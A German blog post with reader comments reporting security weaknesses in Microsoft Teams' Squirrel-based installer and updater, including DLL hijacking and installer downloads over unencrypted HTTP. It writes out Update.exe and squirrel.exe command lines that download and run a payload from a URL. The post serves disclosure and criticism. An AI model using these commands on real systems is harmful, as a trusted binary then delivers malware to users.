Microsofts Teams hat gerade Slack in den Nutzerzahlen überholt. Das wird nun weltweit in Blogs und IT-Magazinen abgefeiert. Aber das Produkt hat auch seine Schattenseiten, sicherheitstechnisch hat Microsoft mal wieder einen GAU verbrochen.
Anzeige
Teams überholt Slack
Teams ist, wie Slack, ein Collaborations-Werkzeug, in dem Menschen im Geschäftsumfeld kommunizieren können (Chat, Besprechungen, Notizen etc.). Teams wird inzwischen mit Microsoft Office365 ausgeliefert. Mittelfristig soll Teams sogar Microsoft Skype (früher Lync) ersetzen (siehe Microsoft ersetzt Skype for Business durch Teams). Und Teams hat inzwischen 13 Millionen Nutzer täglich, mehr als der Konkurrent Slack. Heise hat sich beispielsweise in diesem Artikel am Thema abgearbeitet. Schöne neue Welt …
Teams kann zum Malware-Download benutzt werden
Es ist bereits einige Tage her, dass ich auf diesen Artikel von Bleeping Computer gestoßen bin. Da klingelte sofort was bei mir – dazu später mehr. Der Artikel bei Bleeping Computer adressiert den Umstand, dass die Update-Funktion von Teams in der Desktop-Anwendung das Herunterladen und Ausführen beliebiger Dateien auf dem System ermöglicht.
Das gleiche Problem betrifft übrigens auch die Updater der Clients von GitHub, WhatApp und UiPath Software für Desktop-Computer.
Diese Anwendungen basieren alle auf dem Open-Source-Projekt Squirrel zur Verwaltung von Installations- und Aktualisierungsroutinen, das mit dem NuGet-Paketmanager die notwendigen Dateien erstellt. Auch da klingelte was bei mir.
Mehrere Sicherheitsforscher weisen aber darauf hin, dass es mit dem Befehl "update" möglich ist, eine beliebige Binärdatei im Kontext des aktuellen Benutzers auszuführen. Das Gleiche gilt für "squirrel.exe". Mit Microsoft Teams lässt eine Malware als Payload von einer Webserver herunterladen, in einen Ordner speichern, und automatisch mit einem der folgenden Befehle ausführen:
Anzeige
Update.exe --update [url to payload]
squirrel.exe --update [url to payload]Die Befehle können mit anderen Argumenten verwendet werden, was den download einer Nutzlast in Form eines NuGet-Pakets von einem Remote-Standort aus ermöglicht.
Update.exe --download [url to payload]
squirrel.exe --download [url to payload]Oder die folgenden Befehl werden verwendet, um Schadsoftware remote herunterzuladen und auszuführen:
Update.exe --updateRollback [url to payload]
squirrel.exe --updateRollback [url to payload]Sicherheitsforscher Reegun Richard hat das Problem in Microsoft Teams am 4. Juni an Microsoft gemeldet.
Found another vulnerable parameter where Microsoft Teams do remote download and execute.
Vulnerable parameter :
update.exe –updateRollback=URL to package
squirrel.exe –updateRollback=URL to packagehttps://t.co/4oFCyXkfxaCC:@MrUn1k0d3r @Hexacorn @Oddvarmoe #blueteam #redteam
— Reegun (@reegun21) 1. Juli 2019
Am 1. Juli 2019 machte er das Ganze öffentlich, während Microsoft den Sicherheitsforscher darüber informierte, dass die Behebung in einer zukünftigen Version der Software erfolgen würde. Weitere Details zum Thema lassen sich bei Bleeping Computer nachlesen.
Microsoft, die können es einfach nicht
An dieser Stelle könnte man das Thema abhaken und sich wieder schlafen legen. Dass Microsoft sicherheitstechnisch patzt, ist bekannt. Die blasen zwar mächtig die Backen wegen Microsoft Defender ATP & Co. auf und verticken da auch tüchtig Lizenzen an Firmen. Aber unter der Haube vieler Produkte tun sich sicherheitstechnische Abgründe auf – der obige Fall zeigt mal wieder, wo der Barthel bei Microsoft den Most holt.
Aber ich habe noch einen Pfeil im Köcher. Das Thema 'Sicherheits-GAU Teams' dümpelt hier seit Juli 2018. Kam nur nie dazu, das mal aufzubereiten – und dann war das Zeitfenster für einen Artikel vorbei. Aber jetzt hole ich das Ganze mal flugs aus dem Keller.
Im Juli 2018 hat Microsoft auch Teams for Free freigegeben (die .exe mit dem Installer ist hier herunterladbar). Stefan Kanthak hat sich den Installer für diese Version angesehen und mir einige interessante Einblicke gewährt. Ich poste mal hier den O-Ton Kanthak, frisch und ungefiltert:
Dieses Programm habe ich heruntergeladen und dann NUR dessen Metadaten angesehen; ich habe es NICHT ausgefuehrt:
1. es hat STATISCHE Abhaengigkeiten zu URLMon.dll, Version.dll etc.
Das sind in den Windows-Versionen, fuer die das Installations-
programm gefrickelt wurde, KEINE "known DLLs" -> DLL hijacking
Mit den obigen Zeilen umschreibt Stefan Kathak den Umstand, dass der Installer bei der Ausführung (mit Rechten des Benutzers) die genannten Bibliotheksdateien lädt. Da es keine 'known DDLs', die Windows von festen Pfaden lädt, braucht eine Malware nur eigene Dateien mit den Namen dieser DLLs im Application-Ordner oder Systemordner (%SystemRoot%\System32\) abzulegen. Schon wird diese Datei bei der Installation von Microsoft Teams geladen. Teams_windows.exe läuft dabei mit den Rechten des Aufrufers. Sobald aber der von diesem Modul heruntergeladene Web-Installer für das
veraltete .NET Framework 4.5.2 sowie das aus dem als RCDATA-Ressource mitgeführten ZIP-Archiv entpackte nuGet-Paket samt Squirrel starten (siehe unten), werden diese mit Administratorrechten ausgeführt.
Da das unprivilegiert laufende Teams_windows.exe diese Dateien
nicht vor Änderungen durch den unprivilegierten Benutzer schützen kann, kann dieser die Dateien zwischen Herunterladen/Entpacken und Aufruf modifizieren. Noch einfacher ist, DLLs, die vom Web-Installer oder nuGet/Squirrel aus deren "application directory" geladen und mit erhöhten Rechten ausgeführt werden, dorthin zu kopieren. Aber die Geschichte geht noch weiter:
2. in der STRINGTABLE von Teams_windows.exe steht folgende URL:
<http://go.microsoft.com/fwlink/?LinkId=397707>Dahinter verbirgt sich der Web-Installer des .NET Framework 4.5.2:
<http://download.microsoft.com/download/9/A/7/9A78F13F-FD62-4F6D-AB6B-1803508A9F56/51209.34209.03/web/NDP452-KB2901954-Web.exe>
wie anhand der URL unschwer zu erkennen ist ,wird dieser ueber
einen UNSICHEREN Kanal heruntergeladen…3. eine RCDATA-Ressource von Teams_windows.exe enthaelt ein ZIP-Archiv, in dem eine Update sowie eine Teams-1.1.00.18052-full.nupkg
enthalten sind, d.h. das Installationsprogramm ist (mal wieder) ein von irgendwelchen VOELLIG ahnungslosen Trotteln selbstgestrickter Selbst-Extraktor..nupkg ist das Paketformat von nuGET, einer Abscheulichkeit aus dem
.NET-Umfeld.4. da der Selbst-Extraktor mit Benutzerrechten laeuft kann er das
ZIP-Archiv NICHT in einem geschuetzten Verzeichnis auspacken
-> ein unprivilegierter Benutzer kann beliebigen Unfug anstellen.5. Update.exe ist ein .NET-Programm (daher muss Teams_windows.exe
das .NET Framework vor der eigentlichen Installation herunterladen
und installieren), also laedt es eine Profiler-DLL aus einem vom
unprivilegierten Benutzer angegebenen Pfad.
-> ein unprivilegierter Benutzer kann beliebigen Unfug anstellen.Der interne Name dieses Update.exe ist "Squirrel.app"; ich argwoehne,
das es von hier <https://github.com/Squirrel/Squirrel.Windows> stammt.
Unter 3 bis 5 führt Kanthak die Klippen auf, die in obigem Beitrag von einem weiteren Sicherheitsforscher jetzt an Microsoft gemeldet wurden.
Stefan Kanthak schrieb mir, dass seine Analyse hat knapp 5 Minuten gedauert, und wie erwartet 3 blutigste Anfängerfehler gezeigt habe. Er meinte, dass das Schreiben seiner Mail hat doppelt so lange wie die Analyse brauchte.
Ja, ich gebe jetzt den Erbsenzähler und die Spaßbremse gleichermaßen. Aber diese Episode lässt nur den Schluss zu, das bei Microsoft zu viele Köche am Brei rühren und diesen ziemlich verderben. Oder platt ausgedrückt: Microsoft kann es einfach nicht – aber feiert mal weiter die 'Erfolge von Teams' – wie heißt es so schön 'Der Brunnen kommt solange zum Krug, bis er sich erbricht' – oder so.
Ähnliche Artikel:
Schwere Sicherheitslücke in Dells PC-Doctor-Assistant
Microsoft ersetzt Skype for Business durch Teams
Windows-Tool UserBenchMark – Finger eher davon lassen
Microsoft will Installer-Schwachstelle nicht schließen
DoS-Schwachstelle in Microsoft Skype for Business
Sicherheitslücken in Intels Rapid Storage Technology
Anzeige
Günter, was du in diesem Artikel zusammengesucht und dargestellt hast, kann jeden normal denkenden Menschen nur noch fassungslos machen.
Auf ein heiles Firmenrenommee legt man bei MS anscheinend keinen Wert mehr.
Danke für die Infos!
… Time to Market … Security kommt später ;-)
Dank an die Schubladen in Deinem Hinterkopf, und …
WUNDERVOLL geschrieben!
Gruß an`s Urgestein ;-)
Wenn Microsoft den Sourcecode einiger ihrer Produkte veröffentlichen würde, würde wohl schon bald niemand mehr Windows und andere Produkte einsetzen. Wegen Hunderten von gefundenen Sicherheitslücken…
Microsoft Skype (früher Lyx) –> war das nicht Lync?
Lyx ist meines Wissens doch ein Frontend für LaTeX gewesen.
Stimmt – bin mal für ein OpenOffice.org-Buch von 1.000 Seiten mit Lyx bzw. irgend einer grafischen GUI gequält worden. Seit dem schwirrt der Begriff tief im Unterbewusstsein und drängelt sich, laut Siggi Freud, immer mal wieder vor.
PS: Die nächsten beiden Auflagen des OpenOffice.org-Schinkens habe ich dann mit MS Word erstellt – wird ein schlimmes Ende mit mir nehmen. ;-).
Diese von mir vor einem Jahr in Version 1.0 dieses Schrotts gefundenen und (auch) an Microsoft gemeldeten trivial auszunutzenden Schwachstellen^WBLUTIGEN Anfängerfehler sind selbstverständlich auch in der gerade vor drei Wochen veröffentlichten Version 1.2 noch vorhanden.
Apropos Squirrel oder nuget: OpenSource (vor allem für Windows) ist typischerweise KEINEN Deut besser gefrickelt oder generell sicherer als ClosedSource.
Bitte nochmal langsam zum mitschreiben, wo ist hier die Sicherheitslücke und wie kann die von Kriminellen ausgenutzt werden?
Dass eine Software, die auf meinem Rechner installiert ist, andere Software nachladen kann, das ist ja nichts besonderes, oder? Also solange Microsoft nicht selbst Malware nachlädt (die hätten ja genug Kanäle das auch anders zu tun) ist doch alles ok? Oder kann man das auch von außn, z.B. durch Nachrichten in Teams triggern?
Eine Problematik heißt DLL-Hijacking – eine nachgeladene DLL beim Setup, die keine 'known DLL' ist, darf überall im Pfad abgelegt sein. Durch das Nachladen erhält sie die gleichen Rechte wie das Setup-Programm. Stichwort Privilege Escalation Schwachstelle. Das ist verpönt, wie man nachfolgend lesen kann:
https://cwe.mitre.org/data/definitions/426.html
Auf den Sachverhalt bin ich an derer Stelle schon mal eingegangen – es gibt eine Test-Suite, wo man sehr schnell herausfinden kann, ob solche Schwachstellen bestehen:
https://www.borncity.com/blog/2018/08/11/classic-shell-heit-jetzt-open-shell-men/
Und zur von Bleeping Computer adressierten Geschichte: Es ist immer ungeschickt, wenn ein Mechanismus existiert, den ich missbrauchen könnte. Ob man per Remote Execution-Befehl einen Schädling herunterladen und ausführen kann, weiß ich nicht. Da steht, dass der Entdecker bestimmte Sachen privat halten werde, bis Microsoft einen Fix bereitstellt. So ganz harmlos schein es also nicht zu sein.
Ich bin selber Software-Entwickler, und ich komme bei dieser Analyse ehrlich gesagt auch nicht hinterher. Wenn jemand "schädliche" DLLs in meinem System32 oder sonstwo im systemweiten Umgebungsvariablen-Pfad platziert hat, dann habe ich eh schon verloren. Analog mit "in der Nähe" platzierten DLLs, sollten diese statisch eingeladen werden. Dazu brauche ich kein Teams-Setup, das kann ich mit jeder Anwendung machen die DLLs verwendet. Weiterhin wird im Anwendungs-Manifest (Side-By-Side-Manifest) gesteuert, welche DLLs (mit welcher Signatur) überhaupt eingeladen werden dürfen. Wie sich das hier verhält wird auch nicht erwähnt.
Punkt 3 entzieht sich mir völlig, das könnte allerdings auch an Worten wie "ahnungslose Trottel" und "Abscheulichkeit" liegen.
Punkt 4 ist im Endeffekt das gleiche wie Punkt 2 – Das ist doch grade der Sinn des Benutzer-Installers. Wenn man das nicht will und sich vor sich selbst fürchtet kann man ja auch nach C:\programme installieren.
"Ich bin selber Software-Entwickler, und ich komme bei dieser Analyse ehrlich gesagt auch nicht hinterher"
AUTSCH! Du hast den falschen Beruf: Dir fehlen ganz offensichtlich ELEMENTARE Grundlagen für das Verständnis von Windows DLL-Pfadauflösung.
"Wenn jemand "schädliche" DLLs in meinem System32 oder sonstwo im systemweiten Umgebungsvariablen-Pfad platziert hat, dann habe ich eh schon verloren."
Dummerweise geht's um diese beiden gerade NICHT!
Für blutige Anfänger: 1) DLLs werden ZUERST aus dem Verzeichnis geladen, in dem das Programm liegt. Bei Installationsprogrammen, die aus dem Internet heruntergeladen werden, ist das typischerweise der "Downloads"-Ordner des (unprivilegierten) Benutzers … und dieses ist ein Minenfeld. 2) die effektive PATH-Variable wird bei der Benutzeranmeldung aus den Inhalten der benutzerspezifischen sowie der systemweiten PATH-Variablen gebildet. Ein Benutzer(Prozess) kann diese an Kind-Prozesse vererbte Variable nach Belieben ändern!
"Dazu brauche ich kein Teams-Setup, das kann ich mit jeder Anwendung machen die DLLs verwendet."
Installationsprogramme haben HÄUFIG die unangenehme Eigenschaft, für sich selbst oder von ihnen gestartete Kind-Prozesse Administratorrechte anzufordern … was Otto Normalmissbraucher typischerweise gewährt.
"Weiterhin wird im Anwendungs-Manifest (Side-By-Side-Manifest) gesteuert, welche DLLs (mit welcher Signatur) überhaupt eingeladen werden dürfen."
AUTSCH! S.o.: Dir fehlen ELEMENTARE Grundlagen.
1) Programme sowie DLLs können beliebige DLLs auch ohne (Angabe im) Manifest laden. 2) Hier geht's gerade NICHT um Side-By-Side 3) Side-By-Side ist nur eine KLEINE Teilfunktion von Manifesten.
"Das ist doch grade der Sinn des Benutzer-Installers."
Falsch: das ist der UNSINN solchen Schrotts. Die MINMAL-Vorgaben der 25 Jahre alten "Designed for Windows"-Richtlinien schreiben %ProgramFiles% vor!
"Wenn man das nicht will und sich vor sich selbst fürchtet kann man ja auch nach C:\programme installieren."
Dann zeig mal, wie Du das mit Teams_windows.exe machst!
Wenn du dich so gut auskennst, könntest du das auch in verständlicher Form erklären?
%ProgramFiles% ist bei mir der Pfad
C:\Program Files
Dort installieren sich alle 64bit Programme.
User haben dort Leserechte, um Programme ausführen zu können. Um ein Programm hier zu installieren muss man der Installationsroutine Admin-Rechte geben. Mit diesen Admin-Rechten kann diese Installationsroutine theoretisch ziemlich viel Schindluder treiben.
Wie unterscheidet sich der Updates von Teams jetzt von anderen Updatern? Viele Updateroutinen aktivieren bei der Erstinstallation eines Programmes einen Systemdienst, der dann die nötigen Rechte hat, Updates zu installieren. Soweit ich weiß ist das beim Chromebrowser, Firefox und Flash Plugin so.
Wie läuft das bei Teams?
Lies den Blog-Beitrag nochmal, AUFMERKSAM:
squirrel.exe –update URL
Darf jeder BENUTZER dieses Schrotts selbst ausführen und so sein %APPDATA% vollmüllen.
Abhilfe: siehe https://skanthak.homepage.t-online.de/SAFER.html
JFTR: die von Chrome, Firefox, Flash und anderem Schrott betriebene Kleinstaaterei ist finsterstes Mittelalter. Microsoft Update existiert, und diese Firmen haben zusammen durchaus die Macht, die TROTTEL aus Redmond endlich zu zwingen, Microsoft Update für Dritte zu öffnen.
Mit einem WSUS lassen sich eigene Anwendungen schon seit vielen Jahren verteilen.